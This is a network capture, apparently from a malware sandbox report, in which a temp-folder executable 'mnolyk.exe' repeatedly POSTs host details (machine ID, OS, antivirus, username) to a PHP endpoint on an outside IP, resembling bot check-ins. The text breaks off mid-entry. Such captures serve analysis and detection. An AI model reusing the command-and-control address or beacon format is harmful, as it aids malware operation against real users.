Feb 7, 2023 23:09:57.469439030 CET	771	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
657	192.168.2.7	50352	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:57.641139030 CET	772	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:57.704109907 CET	772	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
658	192.168.2.7	50353	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:57.891552925 CET	773	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:57.953656912 CET	773	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
659	192.168.2.7	50354	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:58.136933088 CET	774	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:58.203717947 CET	774	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.7	49761	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:17.550184011 CET	181	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:17.615426064 CET	181	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
660	192.168.2.7	50355	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:58.376240015 CET	775	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:58.441500902 CET	775	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
661	192.168.2.7	50356	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:58.629045010 CET	776	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:58.693655014 CET	776	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
662	192.168.2.7	50357	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:58.872293949 CET	777	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:58.936474085 CET	777	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
663	192.168.2.7	50358	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:59.107326031 CET	778	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:59.172822952 CET	778	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
664	192.168.2.7	50359	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:59.354060888 CET	779	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:59.417911053 CET	779	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
665	192.168.2.7	50360	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:59.589637995 CET	780	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:59.652297020 CET	780	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
666	192.168.2.7	50361	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:59.837622881 CET	781	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:59.900100946 CET	781	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
667	192.168.2.7	50362	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:00.086375952 CET	782	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:00.150013924 CET	782	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
668	192.168.2.7	50363	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:00.334134102 CET	783	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:00.398782969 CET	783	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
669	192.168.2.7	50364	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:00.578597069 CET	784	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:00.642594099 CET	784	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.7	49762	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:17.827369928 CET	182	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:17.891773939 CET	182	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
670	192.168.2.7	50365	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:00.817410946 CET	785	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:00.882772923 CET	785	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
671	192.168.2.7	50366	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:01.065649986 CET	786	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:01.131680012 CET	786	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
672	192.168.2.7	50367	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:01.324979067 CET	787	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:01.387620926 CET	787	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
673	192.168.2.7	50368	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:01.561611891 CET	788	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:01.627235889 CET	788	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
674	192.168.2.7	50369	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:01.812382936 CET	789	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:01.877387047 CET	789	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
675	192.168.2.7	50370	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:02.050257921 CET	790	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:02.116446972 CET	790	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
676	192.168.2.7	50371	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
